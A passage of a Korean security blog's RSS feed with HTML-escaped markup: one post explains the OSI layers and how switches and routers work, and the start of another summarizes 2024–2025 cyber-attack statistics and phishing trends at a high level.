      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EqHl2/dJMcad1IPvh/x1sbn72sgCiidsEUfn96LK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EqHl2/dJMcad1IPvh/x1sbn72sgCiidsEUfn96LK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EqHl2/dJMcad1IPvh/x1sbn72sgCiidsEUfn96LK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEqHl2%2FdJMcad1IPvh%2Fx1sbn72sgCiidsEUfn96LK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;675&quot; height=&quot;421&quot; data-origin-width=&quot;826&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;응용&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;사용자에게&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;최종&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서비스&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;제공&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;표현&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;압축&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;암호화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;세션&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;세션&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;연결&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;동기화&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;통신&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;방식&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;결정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;전송&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;송수신자&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;간의&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;종단간&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;통신&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;담당하며&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;전송의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;신뢰성과&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;효율성&lt;/span&gt;&lt;span&gt;을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;보장하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;다른&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;간에&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;ip&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;주소를&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;기반으로&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;최적&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;경로를&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;선택&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;패킷을&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;전달&lt;/span&gt;&lt;span&gt;하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터링크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;동일 네트워크 내에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;mac&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;주소를 기반&lt;/span&gt;&lt;span&gt;으로 인접 노드&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;(Point-to-Point)&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;간&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;프레임을 신뢰성&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;있게&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;전달&lt;/span&gt;&lt;span&gt;하며&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;흐름 제어&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;에러 제어&lt;/span&gt;&lt;span&gt;를 담당하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;물리&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;비트&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;단위&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터를&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;전기적&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;기계적&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;신호로&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #fa0000;&quot;&gt;변환&lt;/span&gt;&lt;span&gt;하여&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;전송하는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;네트워크 장비&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;스위치&lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;L2&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;계층에서&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;동일 네트워크 간에 MAC주소를 기반으로 프레임을 전송&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;학습&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;스위치의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;포트로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;들어오는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;프레임의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;출발지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;MAC&lt;/span&gt;&lt;span&gt;주소&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;학습&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;플러딩&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;목적지를&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;알지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;못할&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;수신&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;포트를&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;제외한&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;모든&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;포트로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;프레임&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;전송&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;포워딩&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;목적지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;MAC&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;주소가&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;이미&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;테이블에&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;등록되어&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;있는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;해당&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;주소와&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;매핑된&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;하나&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;포트로만&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;전송&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;필터링&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;프레임&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;전송을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;기준에&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;따라&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;허용&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;차단&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;에이징&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;일정&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;시간&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;동안&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;장비로부터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터가&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;들어오지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;않을&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;경우&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;테이블에서&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;라우터&lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;L3계층에서 동작하는 장비로 서로 다른 네트워크 간에 IP주소를 기반으로 최적의 경로를 설정해 패킷을 전송&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;span&gt;기능&lt;/span&gt;&lt;/span&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span&gt;경로&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;설정&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;패킷이&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;목적지까지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;가는&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;최적의&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;경로를&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;설정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;라우팅&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;관리&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;목적지&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;IP&lt;/span&gt;&lt;span&gt;주소&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;서브넷&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;마스크&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;게이트웨이&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;네트워크&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;인터페이스&lt;/span&gt;&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;메트릭&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;필터링&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;관리자가&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;설정한&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;규칙에&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;따라&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;필터링&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(&lt;/span&gt;&lt;span&gt;일부&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;방화벽&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;역할&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;수행&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;주소&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;변환&lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;: NAT&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Security</category>
      <category>7계층</category>
      <category>osi #네트워크 #라우터 #스위치 #경로</category>
      <author>천천히, 한 걸음씩</author>
      <guid isPermaLink="true">https://jaehyun60.tistory.com/103</guid>
      <comments>https://jaehyun60.tistory.com/103#entry103comment</comments>
      <pubDate>Sun, 26 Oct 2025 19:26:31 +0900</pubDate>
    </item>
    <item>
      <title>2025년 APT 및 최신 사이버 위협 동향 정리</title>
      <link>https://jaehyun60.tistory.com/102</link>
      <description>&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot; data-start=&quot;855&quot; data-end=&quot;874&quot;&gt;&lt;b&gt;1. 주요 사이버 위협 동향&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;875&quot; data-end=&quot;1077&quot;&gt;
&lt;li data-start=&quot;875&quot; data-end=&quot;950&quot;&gt;&lt;b&gt;2024년 하반기 사이버 공격 통계&amp;nbsp;&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;889&quot; data-end=&quot;950&quot;&gt;
&lt;li data-start=&quot;889&quot; data-end=&quot;918&quot;&gt;서버 해킹: 56% (웹&amp;middot;DB&amp;middot;인프라 공격 집중)&lt;/li&gt;
&lt;li data-start=&quot;921&quot; data-end=&quot;950&quot;&gt;악성코드 감염: 12% (그중 85%가 랜섬웨어)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-start=&quot;951&quot; data-end=&quot;1077&quot;&gt;&lt;b&gt;2025년 상반기 주요 트렌드&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;963&quot; data-end=&quot;1077&quot;&gt;
&lt;li data-start=&quot;963&quot; data-end=&quot;1013&quot;&gt;Spear Phishing 고도화 (.txt, .lnk 등 &amp;lsquo;안전&amp;rsquo; 인식 확장자 활용)&lt;/li&gt;
&lt;li data-start=&quot;1016&quot; data-end=&quot;1049&quot;&gt;가짜 소프트웨어 다운로드 페이지 &amp;amp; 광고 노출 통한 유포&lt;/li&gt;
&lt;li data-start=&quot;1052&quot; data-end=&quot;1077&quot;&gt;해외에서 발견된 위협이 빠르게 국내로 유입&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
